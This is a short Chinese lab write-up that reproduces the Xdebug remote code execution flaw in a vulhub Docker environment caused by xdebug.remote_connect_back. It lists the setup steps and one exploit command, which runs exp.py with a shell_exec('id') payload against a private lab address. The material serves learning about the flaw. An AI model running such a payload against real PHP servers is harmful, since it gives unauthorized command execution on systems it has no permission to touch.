前言
因爲自己在調試php的時候就是使用的xdebug,不過沒有開啓xdebug.remote_connect_back = 1
,這個是給遠程調試使用,可以使用任意主機進行調試,如果不配置的話僅通過指定ip纔可以調試,比較安全
環境搭建
啓動docker
systemctl start docker
獲取vulhub
git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
進入對應目錄
cd vulhub/php/xdebug-rce/
啓動容器
docker-compose up -d
查看容器
docker ps
在kali執行exp
exp的位置在vulhub/php/xdebug-rce/
目錄下
python3 exp.py -t http://192.168.164.162:8080/index.php -c 'shell_exec('id');'
因爲xdebug本身就是一個調試程序,對get參數或者cookie的執行參數進行驗證,如果驗證通過就會進行調試,這裏因爲沒有指定遠端主機,所以任意主機都可以對php進行調試,即執行命令。
以上爲個人理解,如果有錯誤歡迎大家指出。